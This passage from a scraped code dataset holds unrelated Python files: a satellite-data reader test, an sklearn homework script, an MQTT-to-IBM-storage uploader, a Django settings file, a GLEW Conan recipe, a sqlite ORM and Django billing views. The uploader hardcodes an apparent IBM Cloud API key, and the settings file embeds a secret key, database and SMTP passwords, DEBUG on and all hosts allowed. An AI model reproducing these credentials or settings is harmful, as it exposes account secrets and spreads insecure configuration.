data.\n'''\n\nfrom ascat.cgls import SWI_TS\nimport os\nimport pandas as pd\nimport numpy as np\n\n\ndef test_swi_ts_reader():\n\n data_path = os.path.join(\n os.path.dirname(__file__), 'test-data', 'sat', 'cglops', 'swi_ts')\n rd = SWI_TS(data_path)\n data = rd.read_ts(3002621, mask_frozen=False)\n data_sorted = data.sort_index()\n assert np.all(data_sorted.index == data.index)\n # just check if enough data is there\n reference_index = pd.date_range('20070101T12:00:00', '20161231T12:00:00')\n assert len(data) == len(reference_index)\n assert np.all(data_sorted.index == reference_index)\n\n lon, lat = rd.grid.gpi2lonlat(3002621)\n data = rd.read_ts(lon, lat, mask_frozen=False)\n data_sorted = data.sort_index()\n assert np.all(data_sorted.index == data.index)\n # just check if enough data is there\n reference_index = pd.date_range('20070101T12:00:00', '20161231T12:00:00')\n assert len(data) == len(reference_index)\n assert np.all(data_sorted.index == reference_index)\n\n\ndef test_swi_ts_qflag_reading():\n data_path = os.path.join(\n os.path.dirname(__file__), 'test-data', 'sat', 'cglops', 'swi_ts')\n rd = SWI_TS(data_path, parameters=['SWI_001', 'QFLAG_001', 'SSF'])\n data = rd.read_ts(3002621, mask_frozen=True)\n # check if QFLAG is correctly read. It should have as many NaN values as\n # SWI\n assert len(data[data.loc[:, 'QFLAG_001'] != np.nan]) > 0\n assert (len(data[data.loc[:, 'QFLAG_001'] == np.nan]) ==\n len(data[data.loc[:, 'SWI_001'] == np.nan]))\n\nif __name__ == \"__main__\":\n test_swi_ts_reader()\n","sub_path":"tests/test_cgls.py","file_name":"test_cgls.py","file_ext":"py","file_size_in_byte":2322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"442538004","text":"#!python\n# -*- coding: utf-8 -*-#\n\"\"\"\nMulti-class Perceptron sklearn\n\n@author: Bhishan Poudel\n\n@date: Nov 14, 2017\nhttps://www.springboard.com/blog/beginners-guide-neural-network-in-python-scikit-learn-0-18/\n\n\"\"\"\n# Imports\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.neural_network import MLPClassifier\nfrom sklearn.metrics import classification_report,confusion_matrix\n\nimport pandas as pd\n\ndef mlp_sklearn():\n\n names = [\"Cultivator\", \"Alchol\", \"Malic_Acid\", \"Ash\", \"Alcalinity_of_Ash\", \"Magnesium\", \"Total_phenols\", \"Falvanoids\", \"Nonflavanoid_phenols\", \"Proanthocyanins\", \"Color_intensity\", \"Hue\", \"OD280\", \"Proline\"]\n\n wine = pd.read_csv('wine_data.txt', names=names)\n # print(\"wine.head() = {}\".format(wine.head()))\n\n a = wine.describe().transpose()\n # print(a)\n\n # print(\"wine.shape = {}\".format(wine.shape)) # (178, 14)\n\n X = wine.drop('Cultivator',axis=1)\n y = wine['Cultivator']\n X_train, X_test, y_train, y_test = train_test_split(X, y)\n scaler = StandardScaler()\n\n # Fit only to the training data\n scaler.fit(X_train)\n\n StandardScaler(copy=True, with_mean=True, with_std=True)\n\n # Now apply the transformations to the data:\n X_train = scaler.transform(X_train)\n X_test = scaler.transform(X_test)\n\n # test\n mlp = MLPClassifier(hidden_layer_sizes=(13,13,13), max_iter=500,random_state=100)\n mlp.fit(X_train,y_train)\n predictions = mlp.predict(X_test)\n\n\n # print(confusion_matrix(y_test,predictions))\n # print(classification_report(y_test,predictions))\n\n # coefs and weights\n print(\"len(mlp.coefs_) = {}\".format(len(mlp.coefs_)))\n print(\"len(mlp.coefs_[0]) = {}\".format(len(mlp.coefs_[0])))\n print(\"len(mlp.intercepts_[0]) = {}\".format(len(mlp.intercepts_[0])))\n\ndef main():\n \"\"\"Run main function.\"\"\"\n mlp_sklearn()\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"Machine_Learning_Univ_Course_(2017Fall)/Homeworks/hw06/prac/perceptron_eg/multilayer_perc_skn/mlp_sklearn.py","file_name":"mlp_sklearn.py","file_ext":"py","file_size_in_byte":1918,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"364620049","text":"#!/usr/bin/env python2\n\nimport paho.mqtt.client as mqtt\nimport numpy as np\n# import scipy.misc as misc\nimport json\nimport time\nimport sys\nimport traceback\n# import png\n# from PIL import Image\nfrom datetime import datetime\n\nimport ibm_boto3\nfrom ibm_botocore.client import Config, ClientError\n\nCLOUD_MQTT_HOST=\"cloudbroker\"\nCLOUD_MQTT_PORT=1883\nCLOUD_MQTT_TOPIC=\"/facedetect/cloud/faces\"\n\nCOS_BUCKET_NAME=\"byrnej-object-storage-wk3\"\nCOS_ENDPOINT= \"https://s3.private.us-east.cloud-object-storage.appdomain.cloud\"\n\n\n#### IBM CLOUD OBJECT STORAGE CREDENTIALS\ncred = {\n \"apikey\": \"rqhlDqUlhZaIUoxNoqbezz2384MRydk-h0he1wkUzIiM\",\n \"endpoints\": \"https://control.cloud-object-storage.cloud.ibm.com/v2/endpoints\",\n \"iam_apikey_description\": \"Auto-generated for key a0578150-577f-4895-9a2b-3a66d8038bfb\",\n \"iam_apikey_name\": \"byrnej-object-storage-wk7\",\n \"iam_role_crn\": \"crn:v1:bluemix:public:iam::::serviceRole:Writer\",\n \"iam_serviceid_crn\": \"crn:v1:bluemix:public:iam-identity::a/eda6b7edc8514da3814170714bcfa440::serviceid:ServiceId-f76673fa-73ac-4342-b7bd-f4c088e8791b\",\n \"resource_instance_id\": \"crn:v1:bluemix:public:cloud-object-storage:global:a/eda6b7edc8514da3814170714bcfa440:d4248333-b19f-4e17-9662-66a57ce4df55::\"\n}\n\n\n##### Create resource for COS:\ncos = ibm_boto3.resource(\"s3\",\n ibm_api_key_id=cred[\"apikey\"],\n ibm_service_instance_id=cred[\"resource_instance_id\"],\n ibm_auth_endpoint=\"https://iam.bluemix.net/oidc/token\",\n config=Config(signature_version=\"oauth\"),\n endpoint_url=COS_ENDPOINT\n)\n\n##### Test commands for successful connection to COS\nprint(\"trying to list buckets\")\nfor bucket in cos.buckets.all():\n print(\"Bucket Name: {0}\".format(bucket.name))\nprint(\"trying to list contents\")\nfiles = cos.Bucket(COS_BUCKET_NAME).objects.all()\nfor file in files:\n print(f\"Item: {file.key} ({file.size} bytes).\")\n\ndef on_connect(client, userdata, flags, rc):\n print(\"Connected to cloud mqtt broker with result code \"+str(rc))\n print(\"Subscribing...\")\n client.subscribe(CLOUD_MQTT_TOPIC)\n print(\"Completed subscription to \" + CLOUD_MQTT_TOPIC)\n\n\n# allows us to get information about errors inside callbacks\ndef on_log(client, userdata, level, buf):\n # print(\"on_log:\",level,buf)\n if (level == MQTT_LOG_WARNING):\n print(\"MQTT_WARNING:\",buf)\n elif (level == MQTT_LOG_ERR):\n print(\"MQTT_ERROR:\",buf)\n print(\"Exiting.\")\n exit(-1)\n\n# Error in callbacks are not printed, nor exceptions thrown\n# outside the mqtt. Uses on_log to print out the results\ndef on_message(client, userdata, msg):\n try:\n print(\"Received a message, payload: \" + str(msg.payload)[:30] + \"...\")\n\n # create save filename based on time of message\n now = datetime.now()\n file_name = now.strftime(\"%y%m%d-%H%M%S.%f\") + \".json\"\n\n # convert back to array from json formatted string\n m_decode=str(msg.payload.decode(\"utf-8\",\"ignore\"))\n data = json.loads(m_decode)\n print(data[0])\n\n print(f\"Adding json text as '{file_name}' to COS\")\n cos.Object(COS_BUCKET_NAME, file_name).put(Body=m_decode)\n\n except:\n traceback.print_exc()\n quit(0)\n\nprint(\"Setting up Client object\")\nclient = mqtt.Client(client_id=\"imgproc\")\n\nprint(\"Adding Callbacks\")\nclient.on_connect = on_connect\nclient.on_message = on_message\nclient.on_log = on_log\n\n# set up connection to MQTT broker on the cloud VSI\nprint(\"Connecting to cloud broker\")\nclient.connect(CLOUD_MQTT_HOST, CLOUD_MQTT_PORT)\n\nprint(\"Starting loop...\")\n\nwhile True:\n client.loop(0.1)\n\n\n","sub_path":"wk7/ImageProcessor/py/imgproc.py","file_name":"imgproc.py","file_ext":"py","file_size_in_byte":3562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"639379326","text":"import os\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\nSECRET_KEY = 'mcvc1cs@fhf3shj&$1sp=l=nj^t2r1=1%55pe9x0eghfukm!9m'\nDEBUG = True\nALLOWED_HOSTS = ['*']\nINSTALLED_APPS = [\n 'accounts',\n \n 'modeltranslation',\n\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n 'django.contrib.postgres',\n 'django.contrib.sites',\n 'django.contrib.sitemaps',\n\n 'channels',\n 'chatrooms',\n\n 'allauth',\n 'allauth.account',\n 'allauth.socialaccount',\n\n 'crispy_forms',\n\n 'allauth.socialaccount.providers.facebook',\n\n 'blog',\n 'bootstrap4', \n 'mptt',\n 'import_export',\n 'taggit',\n 'django_summernote',\n 'ckeditor',\n 'ckeditor_uploader',\n # 'tinymce',\n 'categories',\n # 'froala_editor',\n 'robots',\n # 'meta',\n 'boards',\n 'rosetta',\n\n]\nSITE_ID =1\n\nMIDDLEWARE = [\n 'django.middleware.security.SecurityMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.locale.LocaleMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n]\nROOT_URLCONF = 'core.urls'\nTEMPLATES = [\n {\n 'BACKEND': 'django.template.backends.django.DjangoTemplates',\n 'DIRS': [os.path.join(BASE_DIR, 'templates')],\n 'APP_DIRS': True,\n 'OPTIONS': {\n 'context_processors': [\n 'django.template.context_processors.debug',\n 'django.template.context_processors.request',\n 'django.contrib.auth.context_processors.auth',\n 'django.template.context_processors.request',\n 'django.template.context_processors.i18n',\n 'django.contrib.messages.context_processors.messages',\n 'blog.views.category_list',\n 'accounts.views.avatar'\n ],\n },\n },\n]\n\nAUTHENTICATION_BACKENDS = [\n # Needed to login by username in Django admin, regardless of `allauth`\n 'django.contrib.auth.backends.ModelBackend',\n # `allauth` specific authentication methods, such as login by e-mail\n 'allauth.account.auth_backends.AuthenticationBackend',\n]\n\n\nWSGI_APPLICATION = 'core.wsgi.application'\nASGI_APPLICATION = 'core.asgi.application'\n\nCHANNEL_LAYERS = {\n 'default': {\n 'BACKEND': 'channels_redis.core.RedisChannelLayer',\n 'CONFIG': {\n 'hosts': [('127.0.0.1', 6379)]\n }\n }\n}\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.postgresql',\n 'NAME': 'db06',\n 'USER': 'postgres', \n 'PASSWORD': 'a',\n 'HOST': 'localhost',\n 'PORT': '5432', #my port is 3306\n }\n}\nAUTH_PASSWORD_VALIDATORS = [\n {\n 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',\n },\n]\nfrom django.utils.translation import ugettext_lazy as _\n\nLANGUAGE_CODE = 'ar'\n# LANGUAGES = [\n# ('ar', _('Arabic')),\n# ('en', _('English')),\n# ]\ngettext = lambda s: s\nLANGUAGES = (\n ('ar', gettext('Arabic')),\n ('en', gettext('English')),\n)\n\nLOCALE_PATHS = [\n os.path.join(BASE_DIR,'locale'),\n]\n\nTIME_ZONE = 'UTC'\nUSE_I18N = True\nUSE_L10N = True\nUSE_TZ = True\n# Error code\nCKEDITOR_UPLOAD_PATH = \"uploads/\"\nCKEDITOR_CONFIGS = {\n 'default': {\n 'toolbar': 'Custom',\n 'toolbar_Custom': [\n ['Bold', 'Italic', 'Underline'],\n ['NumberedList', 'BulletedList', '-', 'Outdent', 'Indent', '-', 'JustifyLeft', 'JustifyCenter', 'JustifyRight', 'JustifyBlock'],\n ['Link', 'Unlink'],\n ['RemoveFormat', 'Source']\n ],\n 'height': 300,\n 'width': 600,\n },\n}\n\nSTATIC_URL = '/static/'\nSTATIC_ROOT = os.path.join(BASE_DIR, \"staticfiles\")\t \nSTATICFILES_DIRS = [\n os.path.join(BASE_DIR, \"static\"),\t\t\t#<========\n]\n\nMEDIA_URL = '/media/'\nMEDIA_ROOT = os.path.join(BASE_DIR, 'media')\nLOGIN_REDIRECT_URL = 'accounts:edit'\nLOGIN_URL = 'login'\nLOGOUT_URL = 'logout'\nEMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend'\n\n \nX_FRAME_OPTIONS = 'SAMEORIGIN'\n\nSUMMERNOTE_THEME = 'bs4' # Show summernote with Bootstrap4 \n\n\nSUMMERNOTE_CONFIG = {\n\n # Or, you can set it to `False` to use SummernoteInplaceWidget by default - no iframe mode\n # In this case, you have to load Bootstrap/jQuery sources and dependencies manually.\n # Use this when you're already using Bootstrap/jQuery based themes.\n 'iframe': False,\n\n # You can put custom Summernote settings\n 'summernote': {\n # As an example, using Summernote Air-mode\n 'airMode': False,\n\n # Change editor size\n 'width': '100%',\n 'height': '480',\n\n # Use proper language setting automatically (default)\n 'lang': None,\n\n # Toolbar customization\n # https://summernote.org/deep-dive/#custom-toolbar-popover\n 'toolbar': [\n ['style', ['style']],\n ['font', ['bold', 'underline', 'clear']],\n ['fontname', ['fontname']],\n ['color', ['color']],\n ['para', ['ul', 'ol', 'paragraph']],\n ['table', ['table']],\n ['insert', ['link', 'picture' ]],\n ['view', ['fullscreen', 'codeview', 'help']],\n ],\n\n # Or, explicitly set language/locale for editor\n 'lang': 'ar-AR',\n \n}\n}\nACCOUNT_EMAIL_VERIFICATION = 'none'\n\n\nACCOUNT_EMAIL_REQUIRED = True\nACCOUNT_USERNAME_REQUIRED = True\nEMAIL_BACKEND = 'django.core.mail.backends.smtp.EmailBackend'\n# EMAIL_USE_TLS = True\n# EMAIL_HOST = 'smtp.gmail.com'\n# EMAIL_PORT = 587\n# EMAIL_HOST_USER = 'ahmedazadcxv@gmail.com'\n# EMAIL_HOST_PASSWORD = '+654+654'\n\n\nEMAIL_HOST = 'smtp.mailtrap.io'\nEMAIL_HOST_USER = '93e1f23e2fc176'\nEMAIL_HOST_PASSWORD = '456a4b33443a66'\nEMAIL_PORT = '2525'\n","sub_path":"core/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":6322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"24132473","text":"import cv2\nimport numpy as np\n\nfrom gbvision.models.contours import FilterContours, find_contours, sort_polygons, contour_center, contours_to_polygons\nfrom gbvision.constants.system import EMPTY_PIPELINE\nfrom .object_finder import ObjectFinder\n\n\nclass PolygonFinder(ObjectFinder):\n \"\"\"\n finds any generic polygon, not recommended when another finder can be used\n \"\"\"\n\n def __init__(self, threshold_func, game_object, area_scalar=1.0, contour_min_area=0):\n \"\"\"\n\n :param area_scalar: optional, a scalar to multiply the area by, for fine tuning of the function's output\n :param contour_min_area: the minimal area of a contour, used for FilterContours, default is 0 (no area limit)\n \"\"\"\n ObjectFinder.__init__(self, threshold_func, game_object)\n self._full_pipeline = (EMPTY_PIPELINE +\n threshold_func +\n find_contours +\n FilterContours(min_area=contour_min_area) +\n contours_to_polygons +\n sort_polygons)\n self.area_scalar = area_scalar\n\n def __call__(self, frame, camera):\n contours = self._full_pipeline(frame)\n return list(map(\n lambda cnt: self.game_object.location_by_params(camera, self.area_scalar * np.sqrt(cv2.contourArea(cnt)),\n contour_center(cnt)), contours))\n","sub_path":"gbvision/finders/polygon_finder.py","file_name":"polygon_finder.py","file_ext":"py","file_size_in_byte":1467,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"552455626","text":"import sqlite3\nfrom data.schema import DBPATH\n\nclass ORM:\n dbpath = DBPATH #<-- can be overwritten in inhereting class if desired. in this case is the same for all tables\n tablename = \"\" #<-- will be overwritten in inheriting classes\n fields = [] #<-- Column Headers in our tables | will be overwritten in inherting classes\n\n createsql = \"\"\" \"\"\" #<-- can be empty since account/position/trader will each have their own createsql (to create a table)\n\n def __init__(self, **kwargs):\n raise NotImplementedError\n\n def __repr__(self): #<-- what is printed when the print function is called on the class object (for debugging)\n template = \"<{} ORM: pk={}>\" \n return template.format(self.tablename, self.values['pk']) #<-- red underline since ORM cant be instantiated, inhereting classes wont throw error\n \n def __getitem__(self, key):\n return self.values[key] #<-- red underline since ORM cant be instantiated, inhereting classes wont throw error\n\n def __setitem__(self, key, value):\n self.values[key] = value #<-- red underline since ORM cant be instantiated, inhereting classes wont throw error\n\n def save(self): \n \"\"\"if self.values['pk] exists, update row else\n insert row (class Account/Trade/Position)\"\"\"\n if self.values['pk']: #<-- red underline since ORM cant be instantiated, inhereting classes wont throw error\n self.update_row()\n else:\n self.insert_row()\n\n def insert_row(self):\n \"\"\"insert the values from this istance into the db as a row,\n then return cursor.lastrowid, \n \\ncursor.lastrowid is id of last selected row (in this case inserted row)\"\"\"\n with sqlite3.connect(self.dbpath) as conn:\n curs = conn.cursor() #<-- curs allows to select in db\n fieldlist = \", \".join(self.fields) #<- .join returns a string of \"field, \" for each field in [fields]\n qmarks = \", \".join(['?' for _ in self.fields]) #<- .join returns a string of \"?, \" for each field in [fields] <- done to sanitize inputs\n SQL = \"\"\" INSERT INTO {} ({}) VALUES ({}); \"\"\".format( #<- SQL statement\n self.tablename, fieldlist, qmarks) #<- SQL statement continued\n values = [self.values[field] for field in self.fields]\n curs.execute(SQL, values) #<-- .execute() applies function to selected row (SQL statement is the SQL function), (values are our sanitized inputs in SQL statement)\n pk = curs.lastrowid #lastrowid --> read-only attribute provides the rowid of the last modified row. \n self.values['pk'] = pk # ^ It is only set if you issued a INSERT statement using the execute() method.\n\n\n def update_row(self):#<-- when we call this function, we have already changed the class (Account/Trade/Position).values[field] and want to save it to db\n \"\"\"update the row with this instance's pk value to the current\n values of this instance\"\"\"\n with sqlite3.connect(self.dbpath) as conn:\n curs = conn.cursor()\n # join a list of \"column_name = ?\" pairs\n set_equals = \", \".join([\"{}=?\".format(field) for field in self.fields]) #<-- same as in insert_row but condensed\n SQL = \"\"\" UPDATE {} SET {} WHERE pk=?; \"\"\".format(self.tablename,set_equals)\n values = [self.values[field] for field in self.fields] + [self.values['pk']]\n curs.execute(SQL, values)\n\n def delete(self):\n if self.values['pk'] is None:\n raise KeyError(self.__repr__() + \" is not a row in \" +\n self.tablename)\n with sqlite3.connect(self.dbpath) as conn:\n curs = conn.cursor()\n SQL = \"\"\"DELETE FROM {} WHERE pk = ?; \"\"\".format(self.tablename)\n curs.execute(SQL, (self.values['pk'],))\n\n @classmethod\n def create_table(cls):\n \"\"\"run the cls.createsql SQL command\"\"\"\n with sqlite3.connect(cls.dbpath) as conn:\n curs = conn.cursor()\n curs.execute(cls.createsql)\n\n @classmethod\n def one_from_where_clause(cls, where_clause=\"\", values=tuple()):\n SQL = \"SELECT * FROM {} {};\".format(cls.tablename, where_clause)\n with sqlite3.connect(cls.dbpath) as conn:\n conn.row_factory = sqlite3.Row\n cur = conn.cursor()\n cur.execute(SQL, values)\n row = cur.fetchone()\n if not row:\n return None\n return cls(**row)\n\n @classmethod\n def all_from_where_clause(cls, where_clause=\"\", values=tuple()):\n SQL = \"SELECT * FROM {} {};\".format(cls.tablename, where_clause)\n with sqlite3.connect(cls.dbpath) as conn:\n conn.row_factory = sqlite3.Row\n cur = conn.cursor()\n cur.execute(SQL, values)\n rows = cur.fetchall()\n return [cls(**row) for row in rows]\n\n @classmethod\n def one_from_pk(cls, pk):\n return cls.one_from_where_clause(\"WHERE pk=?\", (pk,))\n","sub_path":"TTrader/model/orm.py","file_name":"orm.py","file_ext":"py","file_size_in_byte":5057,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"415799279","text":"#!/usr/bin/python\n\nfrom math import log,sqrt\n\ndef mean(X):\n\treturn sum(X)*1.0/len(X)\n\ndef getCor( A, B ):\n\tmA, mB = mean(A), mean(B)\n\tup = sum([(a-mA)*(b-mB) for a,b in zip(A,B)])\n\tdn = sum([(a-mA)**2 for a in A]) * sum([(b-mB)**2 for b in B])\n\treturn 0 if dn == 0 else up / sqrt(dn)\n\nimport sys, numpy\n\nwith open(sys.argv[1],'r') as inp:\n\tdata = [map(float,row.strip().split()) for row in inp]\n\n\ncor = [getCor(data[i],data[j]) for i in xrange(len(data)) for j in xrange(i+1,len(data))]\n\nwith open(sys.argv[2],'w') as oup:\n\tF, P = numpy.histogram(cor, 100)\n\tfor f, p in zip(F,P):\n\t\tprint >> oup, str(p) + '\\t' + str(f)\n","sub_path":"other-method/cor.py","file_name":"cor.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"510323619","text":"from conans import python_requires, tools, CMake\npyreq = python_requires(\"pyreq/1.0.0@tdelame/stable\")\n\n\nclass GLEW(pyreq.CMakeConanFile):\n description = \"OpenGL Extension Wrangler Library\"\n url = \"https://glew.sourceforge.net/\"\n version = \"2.1.0\"\n name = \"GLEW\"\n license = \"MIT\"\n\n settings = \"os\", \"build_type\"\n\n def config_options(self):\n \"\"\"Executed before the actual assignment of options. Use it to configure or constrain\n the available options in a package. You can read values of self.settings but you cannot\n read values of self.options.\"\"\"\n if self.settings.os != \"Linux\":\n raise RuntimeError(\"Your OS has not been tested for this recipe. Please, extend the recipe.\")\n\n def requirements(self):\n \"\"\"Define runtime requirements.\"\"\"\n self.requires(\"GLU/9.0.0@tdelame/stable\")\n\n def source(self):\n \"\"\"Retrieve source code.\"\"\"\n self.download(\n \"https://github.com/nigels-com/glew/releases/download/glew-{0}\".format(self.version),\n directory=\"glew-{}\".format(self.version), compression=\"tgz\")\n\n def cmake_definitions(self):\n definition_dict = {\n \"BUILD_UTILS\": False,\n \"GLEW_REGAL\": False,\n \"GLEW_OSMESA\": False,\n }\n self.add_default_definitions(definition_dict)\n return definition_dict\n\n def configure_cmake(self):\n \"\"\"Configure and return a CMake build helper.\"\"\"\n cmake = CMake(self, generator=\"Ninja\")\n cmake.configure(\n defs=self.cmake_definitions(),\n source_folder=\"{}/build/cmake\".format(self._source_subfolder),\n build_folder=self._build_subfolder)\n return cmake\n\n def package(self):\n \"\"\"Assemble the package.\"\"\"\n self.copy(\"include/*\", \".\", \"%s\" % self._source_subfolder, keep_path=True)\n self.copy(\"%s/license*\" % self._source_subfolder, dst=\"licenses\", ignore_case=True, keep_path=False)\n self.copy(pattern=\"LICENSE\", dst=\"licenses\", src=self._source_subfolder)\n\n if self.options.shared:\n self.copy(pattern=\"*.so\", dst=\"lib\", keep_path=False)\n self.copy(pattern=\"*.so.*\", dst=\"lib\", keep_path=False)\n else:\n self.copy(pattern=\"*.a\", dst=\"lib\", keep_path=False)\n\n def package_info(self):\n super(GLEW, self).package_info()\n self.cpp_info.libs = ['GLEW']\n self.cpp_info.libs.append(\"GL\")\n if self.settings.build_type == \"Debug\":\n self.cpp_info.libs[0] += \"d\"\n","sub_path":"GLEW/GLEW-2.1.0.py","file_name":"GLEW-2.1.0.py","file_ext":"py","file_size_in_byte":2535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"196434442","text":"from django.shortcuts import render, get_object_or_404\nfrom django.http import HttpResponse, HttpResponseNotFound\nfrom member.models import Member, Bill, Lot, BillCtl, History\nfrom django.db.models import Count\nfrom .forms import MemberForm, BillForm\nfrom django.core.files.storage import FileSystemStorage\nfrom django.template.loader import render_to_string\nfrom django.utils._os import safe_join\nfrom reportlab.pdfgen import canvas\nfrom decimal import *\nfrom member import report\nfrom member.printing import MyPrint\nfrom io import BytesIO\n\nimport pdb, weasyprint\n\nresFee = 50\n\ndef member_search(request):\n return render(request, 'member_search.html')\n\ndef member_detail(request, pk):\n members = get_object_or_404(Member, pk=pk)\n # members = Member.objects.all()\n return render(request, 'member_detail.html', {'members': members})\n\ndef lot_list(request):\n lotc = Lot.objects.annotate(num_lots=Count('mem'))\n return render(request, 'member_list.html', {'jack': lotc})\n\ndef search(request):\n if 'q' in request.GET and request.GET['q']:\n q = request.GET['q']\n members = Member.objects.filter(last__icontains= q)\n return render(request, 'search_results.html', {'members': members, 'query': q})\n else:\n message = 'Please submit a search term.'\n return HttpResponse(message)\n# -------------------------------------------New Member\ndef member_new(request):\n if request.method == \"POST\":\n form = MemberForm(request.POST)\n if form.is_valid():\n post = form.save()\n post.save()\n\n else:\n form = MemberForm()\n return render(request, 'post_edit.html', {'form' : form})\n\n\ndef member_bill(request, pk):\n bdetail = get_object_or_404(Member, pk=pk)\n glot = Lot.objects.filter(mem = str(pk))\n gbal = History.objects.filter(mid = str(pk)).filter(year__icontains=2015)\n return render(request, 'bill_detail.html', {'bdetail': bdetail, 'glot': glot, 'gbal': gbal})\n\n\n\n#-----------------------------------------------------------------Member Billing\n\n\n\n\n\ndef checkBillrec(dt, xbdet, xbctl):\n billrec = Bill.objects.filter(mem__exact=xbdet.id).filter(bill_year__exact=dt)\n for xbill in billrec:\n# pdb.set_trace()\n if xbill.bill_flag == 'N':\n billr = Bill.objects.get(id=xbill.id)\n billr.bill_flag = 'R'\n billr.save()\n if xbill.bill_flag == \"Y\":\n return\n gbal = History.objects.filter(mid=xbdet.id).filter(year__exact=(dt - 1))\n pastbal = 0\n for xgbal in gbal:\n pastbal = xgbal.bal\n if 'R' in xbdet.flag:\n res_wk = xbctl.res_fee\n else:\n res_wk = 0\n glot = Lot.objects.filter(mem__exact=xbdet.id)\n len_glot = 0\n ctxyz = 0\n for xyz in glot:\n len_glot = len_glot + 1\n if xyz.mow == 'Y':\n ctxyz = ctxyz + 1\n tot_bill = (pastbal + xbctl.dues + res_wk + (len_glot * xbctl.lot_maint) +\n (ctxyz * xbctl.mow_fee) + round((pastbal * xbctl.pdue_percent),0))\n rwrt = Bill(mem=xbdet.id, bill_year = dt, bill_date = xbctl.billdate, dues_amt = xbctl.dues,\n bal_amt = pastbal, pdue_amt = round((pastbal * xbctl.pdue_percent),0), res_amt = res_wk,\n lots_amt = (len_glot * xbctl.lot_maint), mow_amt = (ctxyz * xbctl.mow_fee),\n tot_amt = tot_bill, lots = len_glot, mow = ctxyz, bill_flag = 'Y', print_flag = 'N')\n rwrt.save()\n return\n\ndef memberBilling(dt, xbctl):\n bdetail = Member.objects.all()\n for xbdet in bdetail:\n if \"A\" in xbdet.flag:\n checkBillrec(dt, xbdet, xbctl)\n return\n\n\ndef checkBillCtl(request, dte):\n dt = int(dte)\n try:\n bctl = BillCtl.objects.filter(year__exact=dt)\n except:\n return HttpResponseNotFound('

    Bill Control Record Not Found

    ')\n for xbctl in bctl:\n memberBilling(dt, xbctl)\n return HttpResponse(\"Billing Complete\")\n\ndef memberBillCtl(request, dte):\n try:\n form = BillCtl.objects.filter(year__exact=dte)\n\n except:\n\n if request.method == \"POST\":\n form = BillForm(request.POST)\n if form.is_valid():\n post = form.save()\n post.save()\n\n else:\n form = BillForm()\n\n return render(request, 'post_edit.html', {'form' : form})\n\n\n# -----------------------------------------------------------------------Print Member Bills\n\n\ndef printBillCtl(request, dte):\n dt = int(dte)\n try:\n bctl = BillCtl.objects.filter(year__exact=dt)\n except:\n return HttpResponseNotFound('

    Bill Control Record Not Found

    ')\n for xctl in bctl:\n invdatestr = str(xctl.billdate)\n invdate = invdatestr[5:7] + '/' + invdatestr[8:10] + '/' + invdatestr[0:4]\n duedatestr = str(xctl.billduedate)\n duedate = duedatestr[5:7] + '/' + duedatestr[8:10] + '/' + duedatestr[0:4]\n\n\n colBill = []\n try:\n pbill = Bill.objects.filter(bill_year__exact=xctl.year).filter(bill_flag__exact='Y').filter(print_flag__exact='N')\n except:\n return HttpResponse('Nothing to Print')\n for xz in pbill:\n x_colBill = []\n try:\n membill = Member.objects.get(id=xz.mem)\n\n x_colBill.append(str(xz.id))\n x_colBill.append(str(xz.mem))\n\n x_colBill.append(membill.set_memberfullName())\n x_colBill.append(membill.other)\n x_colBill.append(membill.street)\n x_colBill.append(membill.set_memberCitySt())\n\n except:\n return HttpResponse('Missing member for Bill record #')\n memlots = Lot.objects.filter(mem__exact = xz.mem)\n first = True\n xlot = ''\n for xy in memlots:\n if first == False:\n xlot = xlot + (', ')\n else:\n first = False\n xlot = xlot + xy.lid\n x_colBill.append(xlot)\n x_colBill.append(xz.dues_amt)\n x_colBill.append(xz.bal_amt)\n x_colBill.append(xz.res_amt)\n x_colBill.append(xz.lots_amt)\n x_colBill.append(xz.mow_amt)\n x_colBill.append(xz.pdue_amt)\n x_colBill.append(xz.tot_amt)\n x_colBill.append(xz.lots)\n x_colBill.append(xz.mow)\n x_colBill.append(xz.dues_amt + xz.res_amt + xz.lots_amt + xz.mow_amt)\n colBill.append(x_colBill)\n # return render(request, 'print_bill.html', {'colBill': colBill, 'invdate': invdate, 'duedate': duedate})\n # html_string = render_to_string('print_bill.html', {'colBill': colBill, 'invdate': invdate})\n html_string = render_to_string('print_bill.html', {'colBill': colBill, 'invdate': invdate, 'duedate': duedate})\n # return render(request, 'print_bill.html', {'colBill': colBill, 'invdate': invdate})\n\n html = weasyprint.HTML(string=html_string, base_url=request.build_absolute_uri())\n\n html.write_pdf(target='/tmp/mypdf.pdf');\n\n fs = FileSystemStorage('/tmp')\n with fs.open('mypdf.pdf') as pdf:\n response = HttpResponse(pdf, content_type='application/pdf')\n response['Content-Disposition'] = 